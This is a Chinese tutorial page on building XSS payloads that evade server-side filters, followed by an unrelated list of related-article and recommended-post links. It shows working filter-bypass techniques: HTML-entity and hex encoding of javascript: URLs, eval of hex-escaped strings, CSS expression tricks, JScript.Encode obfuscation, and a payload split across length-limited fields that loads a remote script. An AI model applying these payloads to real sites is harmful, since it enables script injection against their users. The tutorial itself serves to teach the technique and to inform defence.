1.利用字符编码

(1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode

(2)使用一个XSS编码工具,以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

例如:<img  src="javascript:alert('xss');">

编码后:

<img  src="&#106&#97&#115&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

(3)另外在javascript中,有一个eval()函数,该函数可计算字符串,并执行其中的javascript代码,

例如:  <script>

eval("alert('xss')");

</script>

(4)可以使用\连接字符串,然后使用eval()函数执行十六进制字符串形式的脚本:

例如:  <script>

eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29");

</script>

(5)此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释:

例如:<style>

BODY{backgroud:\75\72\6c\28\68\74\74\70\3a\2f\2f\31\37\2e\30\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\66\29

}

</style>

(6)style属性中的javascript和expression等字符一般会被程序过滤掉,但经过十六进制编码后则可以逃避过滤:

例如:

①<div   style="xss:expression"

(alert(1));"/div>

②<img  STYLE="backgroud-image:

\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">

(7)javascript支持unicode,escapes,十六进制,八进制等编码方式

(8)编码/加密技术-------JScript  Encode 和  VBScript  Encode

Microsoft提供了脚本加密机制,可以对脚本进行加密,包括JScript和VBScript,经过加密的脚本能在IE下运行,在其他浏览器中则不识别;

例如:

<script   language="JScript.Encode">

#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@       //等价于alert(1)

</script>

2.拆分跨站法:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;

存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:

标题1:<script>z='<script  src=';  /*

标题2:*/z+='http://www.test.c'; /*

标题3:*/z+='n/l.js><\ /script>';  /*

标题4:*/document/write(z) </script>

/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:

<script> z='<script src=';

z+='http://www.test.c';

z+='n/l.js><\ /script>';

document.write(z)</script>

然后依次赋值给z变量:

<script>z='<script src=http://www.test.c/l.js></script>';

document.write(z)

</script>

XSS 跨站脚本攻击之构造剖析(二)的更多相关文章

  1. XSS 跨站脚本攻击之构造剖析(一)

    1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...

  2. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  3. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  6. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  7. XSS(跨站脚本攻击) - 常用代码大全

    XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...

  8. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  9. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

随机推荐

  1. Enum:Fliptile(POJ 3279)

    Fliptile 题目大意:农夫想要测牛的智商,于是他把牛带到一个黑白格子的地,专门来踩格子看他们能不能把格子踩称全白 这一题其实就是一个枚举题,只是我们只用枚举第一行就可以了,因为这一题有点像开关一 ...

  2. [Android Pro] 小心ReleaseByteArrayElements 中的参数问题

    referen to : http://blog.csdn.net/rainlight/article/details/818964 在Sun的官方文档中,关于该函数的用法如下 The array i ...

  3. 用线框模式绘制多边形 glPolygonMode

    glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); glBegin(GL_TRIANGLES);//开始以g_ViewMode模式绘制 glColor3ub(182. ...

  4. Java大数处理类:BigInteger类和BigDecimal类

    当我们要处理非常大的数据时,平常用的数据类型已不足以表示,在Java中有两个类BigInteger和BigDecimal分别表示大整数类和大浮点数类,这两个类在理论上只要计算机内存足够大就能够表示无线 ...

  5. Quartus ii 12.1软件破解之后编译原有的工程出现报警错误的解决办法

    在Quartus ii 12.1软件破解之后,想用来编译原来编译过的工程,但是编译到最后出现下面两个错误警告: 原来以为没有破解成功或者安装的时候有文件被杀毒软件吃了,导致安装错误,又重新安装了两次都 ...

  6. C#关键字params

    using System; using System.Threading; namespace Test { /// <summary> /// params用法: 1.用来修饰方法的参数 ...

  7. Recovery和Charger模式下屏幕旋转180度

    转自:http://www.etwiki.cn/android/1267.html 如何让Recovery (系统固件升级),charger(关机充电动画)时屏幕旋转180度 解决方法: 1.在boo ...

  8. Qt Designer 修改窗体大小改变控件位置

    一.新建一个窗体 用qt designer 新建一个QWidget窗体, 在窗体中右键 选择布局, 发现布局是选择不了的,这个是因为窗体里面没有添加控件, 任意添加空间后便可选择 右键-- 布局-- ...

  9. MVC4 遇到问题总结

    1.路径编写: 举例1.<img  src="../Login/VailCode" width="108" height="40"&g ...

  10. poj 1701【数学几何】

    The area Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Su ...